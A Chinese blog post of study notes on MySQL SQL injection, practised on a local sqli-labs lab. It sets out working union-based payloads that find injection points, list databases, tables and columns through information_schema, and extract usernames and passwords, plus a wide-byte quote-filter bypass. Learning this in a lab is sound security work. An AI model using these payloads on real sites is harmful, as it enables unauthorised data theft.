Mysql注入

Mysql数据库的机构分层
    1.Mysql数据库包含
        数据库A   一个数据库就是一个网站了
            表名
                列名
                    数据
        数据库B    

sql注入产生条件(判断注入)
    1.可控变量
    2.带入数据库查询
    3.变量未存在过滤或过滤不严谨
    
sql注入分为
    数据库类型
        Mysql,mssql,oracle,Access,postsql
    提交方式:
        post,get,http,cookie,全局提交
    参数类型:
        字符型,数字型,
    盲注类型
        逻辑注入
        延时注入
        二次注入
    sql查询类型
        select
        insert
        updata
        delete
    绕过注入
        WAF防护
        代码防护
        函数防护

**************Mysql 注入基本流程******************************    
Mysql注入流程,以sqlilabs第一关回显注入为例,先搭建sql-libs平台
    
    (1)判断注入,获取数据库名,表名,列名等
    如果: and 1=1(显示正确)  and 1=2(显示错误)  则有注入点
    and or xor 与或非命令
    select * from users where id = 0 and 1=1 真且真  真
    select * from users where id = 0 and 1=2 真且假  假
    
    如果:select * from users where id = '0 and 1=2'  //其中的and被引号引住变成了字符串,失去了功能
    要改成:select * from users where id = '0' and 1=2 --+ //  --+是注释的意思,+表示空格

    联合查询:order by * 查表的列名 判断有多少列,二分法,假如判断出有3列
    然后 ?id=1' union select 1,2,3 --+   // union合并两条select 语句
    (2)判断回显点,获取数据名
    http://192.168.23.131/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+  //id =-1 前面加-是为了报错,可以显示后面的内容,判断回显点
    ?id=-1' union select 1,database(),3 --+ //假如回显点为第二个位置,报错显示数据库名字
    union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
               group_concat():全部显示 table_name:security数据库里面表单名称  意思是查系统数据库里面存储表面的表
    (3)获取列名:
    获取数据库名security下的表名users下面列名信息
    ?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and  table_schema='security'--+

    获取数据:
    http://127.0.0.1:8080/sqlilabs/Less-1/?id=-2' union select 1,password,username from users limit 2,1--+  //其中的limit 2,1 2代表第几条数据 和where id = 3同样可以实现
    
知识点    
table_name: 表名
column_name:列名
table_schema:数据库名
information_schema.tables:存储表名信息的表
information_schema.columns:存储列名信息的表
information_schema.schemata:存储数据库名信息的表
mysql中符号“.”代表下一级
如:information_schema.tables:数据库infor...下的tables表

user()   查询数据库用户
database()  查询数据库名
version()   查询数据库版本
@@version_compile_os  查询操作系统

*******************跨库注入**********************    
    

获取所有数据库名:
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+


获取指定数据库名injection的表名信息
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='injection'--+

获取指定表名admin的列名信息
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_schema='injection'--+

获取指定数据
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,user,pass from injection.admin


**********路径问题*************
路径获取方法
    报错显示
    遗留文件
    漏洞暴路径:discuz 爆路径
    一些框架可以网上搜索配置信息,里面储存了网站的路径

**********Mysql 过滤型注入*************
mysql 宽字节绕过注入  环境:sqlilabs less32 

函数过滤 addslashes    过滤 单引号,双引号 后面加斜杆
魔术引号php配置 magic_quotes_gpc   php里面的配置,开启了就自动过滤 引号
宽字节绕过注入: 引号前 %df

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值